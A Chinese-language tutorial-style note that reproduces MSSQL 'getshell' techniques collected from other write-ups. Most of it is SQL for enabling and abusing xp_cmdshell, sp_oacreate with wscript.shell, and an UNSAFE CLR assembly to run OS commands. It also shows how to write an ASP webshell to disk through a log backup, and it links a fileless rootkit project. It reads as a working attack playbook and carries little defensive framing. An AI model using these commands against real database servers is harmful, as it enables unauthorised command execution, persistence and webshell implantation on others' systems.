0x01 前言

网络上很多文章已经总结过相关的利用，这里差不多算是转载师傅的文章做个简单的复现，后续若有持续的利用则在继续添加相关利用。

https://xz.aliyun.com/t/7534

0x02 xp_cmdshell

前提条件
sa 用户权限

1、查询xp_cmdshell状态

查询xp_cmdshell状态

select * from master.dbo.sysobjects where xtype=\'x\' and name=\'xp_cmdshell\'

或者直接返回1即可

select count(*) from master.dbo.sysobjects where xtype=\'x\' and name=\'xp_cmdshell\'

2、启用xp_cmdshell

在未启用之前若执行命令则出现报错

启用xp_cmdshell

EXEC sp_configure \'show advanced options\', 1;
RECONFIGURE;
EXEC sp_configure \'xp_cmdshell\', 1;
RECONFIGURE;

3、执行命令

exec master..xp_cmdshell \'whoami\'

4、删除与恢复（未做实验，需谨慎使用）

删除xp_cmdshell

exec sp_dropextendedproc \'xp_cmdshell\' 

恢复xp_cmdshell

EXEC sp_addextendedproc xp_cmdshell ,@dllname =\'xplog70.dll\'

0x03 COM组件

1、查看SP_OACREATE状态

直接执行第二条命令即可

select * from master.dbo.sysobjects where xtype=\'x\' and name=\'SP_OACREATE\'
select count(*) from master.dbo.sysobjects where xtype=\'x\' and name=\'SP_OACREATE\'

2、开启SP_OACREATE

EXEC sp_configure \'show advanced options\', 1;   
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure \'Ole Automation Procedures\', 1;   
RECONFIGURE WITH OVERRIDE;

3、执行命令

此种方法执行命令不可回显,因此可以通过添加用户或者反弹shell的方式进行利用

declare @shell int exec sp_oacreate \'wscript.shell\',@shell output exec sp_oamethod @shell,\'run\',null,\'c:\windows\system32\cmd.exe /c whoami\'

0x04 CLR(没有复现成功)

mssql中的C#扩展，有点像mysql中的udf提权

1、开启CLR功能

sp_configure \'clr enabled\', 1
GO
RECONFIGURE
GO

标记数据库为安全，原文作者认为是为了导入入不安全的程序集

ALTER DATABASE master SET TRUSTWORTHY ON;

2、导入程序集

CREATE ASSEMBLY [Database1]
    AUTHORIZATION [dbo]
    FROM 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    WITH PERMISSION_SET = UNSAFE;
GO

3、创建存储过程

CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [Database1].[StoredProcedures].[ExecCommand]
go

4、执行命令

exec dbo.ExecCommand "whoami";

0x05 Log备份getshell

利用前提
（1）知道web的绝对绝对路径
（2）管理员做过备份

1、前提条件（可略过）

管理员做过备份，这里因为需要本地环境实验的关系因此直接把这个贴出来里

绝对路径可以通过程序报错等等其他方式获得。
除此以外还可以通过xp_dirtree的方式查看

2、利用

;alter database database1 set RECOVERY FULL --
;create table cmd2 (a image) --

;backup log database1 to disk = \'C:\hacksql.asp\' with init --

;insert into cmd2 (a) values (\'<%%25Execute(request("go"))% %25>\')-- 

;backup log database1 to disk = \'C:\hacksql1.asp\' --

运行以上代码

可以看到此处生成了asp文件

0x06 其他（待补充）

1、xp_regwrite修改注册表
2、https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit
3、MSSQL 2017 Machine Learning Service 机器学习服务sp_execute_external_script执行python和r语言。

0x07 参考

https://y4er.com/post/mssql-getshell/
https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI
https://xz.aliyun.com/t/7534